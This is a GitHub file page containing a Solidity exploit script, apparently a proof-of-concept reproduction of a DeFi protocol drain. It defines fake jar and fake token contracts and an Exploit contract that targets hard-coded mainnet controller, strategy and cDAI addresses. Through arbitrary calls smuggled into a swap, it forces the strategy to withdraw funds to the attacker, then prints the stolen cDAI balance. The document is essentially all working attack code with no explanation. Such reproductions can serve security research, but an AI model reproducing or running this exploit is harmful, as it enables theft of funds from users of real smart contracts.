-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathsamczsun.sol
155 lines (125 loc) · 4.16 KB
/
samczsun.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import "./scripts/script.sol";
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
contract ControllerLike {
function swapExactJarForJar(
address _fromJar, // From which Jar
address _toJar, // To which Jar
uint256 _fromJarAmount, // How much jar tokens to swap
uint256 _toJarMinAmount, // How much jar tokens you'd like at a minimum
address[] calldata _targets,
bytes[] calldata _data
) external;
}
contract CurveLogicLike {
function add_liquidity(
address curve,
bytes4 curveFunctionSig,
uint256 curvePoolSize,
uint256 curveUnderlyingIndex,
address underlying
) public;
}
contract FakeJar {
ERC20Like _token;
constructor(ERC20Like token) public {
_token = token;
}
function token() public view returns (ERC20Like) {
return _token;
}
function transfer(address to, uint amnt) public returns (bool) {
return true;
}
function transferFrom(address, address, uint) public returns (bool) {
return true;
}
function getRatio() public returns (uint) {
return 0;
}
function decimals() public returns (uint) {
return 0;
}
function balanceOf(address) public returns (uint) {
return 0;
}
function approve(address, uint) public returns (bool) {
return true;
}
function deposit(uint amount) public {
_token.transferFrom(msg.sender, tx.origin, amount);
}
function withdraw(uint) public {
}
}
contract FakeUnderlying {
address private target;
constructor(address _target) public {
target = _target;
}
function balanceOf(address) public returns (address) {
return target;
}
function approve(address, uint) public returns (bool) {
return true;
}
function allowance(address, address) public returns (uint) {
return 0;
}
}
contract JarLike {
function earn() public;
}
contract Exploit is script {
function run() public {
run(this.exploit);
}
ControllerLike private constant CONTROLLER = ControllerLike(0x6847259b2B3A4c17e7c43C54409810aF48bA5210);
CurveLogicLike private constant CURVE_LOGIC = CurveLogicLike(0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8);
ERC20Like private constant DAI = ERC20Like(0x6B175474E89094C44Da98b954EedeAC495271d0F);
ERC20Like private constant CDAI = ERC20Like(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643);
JarLike private constant PDAI = JarLike(0x6949Bb624E8e8A90F87cD2058139fcd77D2F3F87);
address private constant STRAT = 0xCd892a97951d46615484359355e3Ed88131f829D;
function arbitraryCall(address to, string memory sig) internal returns (bytes memory) {
return abi.encodeWithSelector(
CURVE_LOGIC.add_liquidity.selector,
to,
bytes4(keccak256(bytes(sig))),
1,
0,
address(CDAI)
);
}
function arbitraryCall(address to, string memory sig, address param) internal returns (bytes memory) {
return abi.encodeWithSelector(
CURVE_LOGIC.add_liquidity.selector,
to,
bytes4(keccak256(bytes(sig))),
1,
0,
new FakeUnderlying(param)
);
}
function exploit() external {
uint earns = 5;
address[] memory targets = new address[](earns + 2);
bytes[] memory datas = new bytes[](earns + 2);
for (uint i = 0; i < earns + 2; i++) {
targets[i] = address(CURVE_LOGIC);
}
datas[0] = arbitraryCall(STRAT, "withdrawAll()");
for (uint i = 0; i < earns; i++) {
datas[i + 1] = arbitraryCall(address(PDAI), "earn()");
}
datas[earns + 1] = arbitraryCall(STRAT, "withdraw(address)", address(CDAI));
CONTROLLER.swapExactJarForJar(
address(new FakeJar(CDAI)),
address(new FakeJar(CDAI)),
0,
0,
targets,
datas
);
fmt.printf("cdai=%.8u\n", abi.encode(CDAI.balanceOf(address(this))));
}
}